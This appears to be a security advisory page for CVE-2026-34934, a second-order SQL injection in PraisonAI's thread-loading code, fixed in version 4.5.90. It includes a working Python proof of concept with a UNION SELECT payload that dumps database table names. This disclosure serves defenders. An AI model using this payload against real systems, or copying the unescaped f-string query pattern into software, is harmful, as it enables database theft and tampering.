CVE-2026-34934: PraisonAI Has Second-Order SQL Injection in `get_all_user_threads`
Summary The getalluserthreads function constructs raw SQL queries using f-strings with unescaped thread IDs fetched from the database. An attacker stores a malicious thread ID via updatethread. When the application loads the thread list, the injected payload executes and grants full database access.
Published Apr 1, 2026 · Updated Apr 6, 2026
Affected packages
praisonai
- Ecosystem
- PyPI
- Affected
- <= 4.5.89
- Fixed in
- 4.5.90
- Check
pip show praisonai
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The get_all_user_threads function constructs raw SQL queries using f-strings with unescaped thread IDs fetched from the database. An attacker stores a malicious thread ID via update_thread. When the application loads the thread list, the injected payload executes and grants full database access.
---
Details
File Path: src/praisonai/praisonai/ui/sql_alchemy.py
Flow:
- Source (Line 539):
await data_layer.update_thread(thread_id=payload, user_id=user)- Hop (Line 547):
thread_ids = "('" + "','".join([t["thread_id"] for t in user_threads]) + "')"- Sink (Line 576):
WHERE s."threadId" IN {thread_ids}---
Proof of Concept (PoC)
import asyncio
from praisonai.ui.sql_alchemy import SQLAlchemyDataLayer
async def run_poc():
data_layer = SQLAlchemyDataLayer(conninfo="sqlite+aiosqlite:///app.db")
# Insert a valid thread
await data_layer.update_thread(
thread_id="valid_thread",
user_id="attacker"
)
# Inject malicious payload
payload = "x') UNION SELECT name, null, null, 'valid_thread', null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null FROM sqlite_master--"
await data_layer.update_thread(
thread_id=payload,
user_id="attacker"
)
# Trigger vulnerable function
result = await data_layer.get_all_user_threads(user_id="attacker")
for thread in result:
if getattr(thread, 'id', '') == 'valid_thread':
for step in getattr(thread, 'steps', []):
print(getattr(step, 'id', ''))
asyncio.run(run_poc())
# Expected Output:
# sqlite_master table names printed to console---
Impact
An attacker can achieve full database compromise, including:
- Exfiltration of sensitive data (user emails, session tokens, API keys)
- Access to all conversation histories
- Ability to modify or delete database contents
Credited to YeranG30.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More PyPI vulnerabilities
All PyPI entriesCVE-2026-61427
PraisonAI: MCP HTTP-stream transport is unauthenticated by default, exposing tool enumeration and an unvalidated tool-call surface
high7.3Oct 8, 2026CVE-2026-61435
PraisonAI: Call API localhost-only authentication bypass via spoofed Host header
high8.2Oct 8, 2026CVE-2026-61445
PraisonAI: AICoder Arbitrary File Write and Command Execution via LLM Tool Calls
critical9.9Oct 8, 2026CVE-2026-57112
PraisonAI ToolsMCPServer legacy SSE transport accepts attacker Host/Origin and exposes registered tools
high8.3Jun 18, 2026CVE-2026-57116
PraisonAI: AgentOS remains unauthenticated after incomplete fix version and allows remote agent invocation
critical9.8Jun 18, 2026CVE-2026-57124
PraisonAI: Missing Authentication for Critical Function and Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') in praisonai
critical9.8Jun 18, 2026
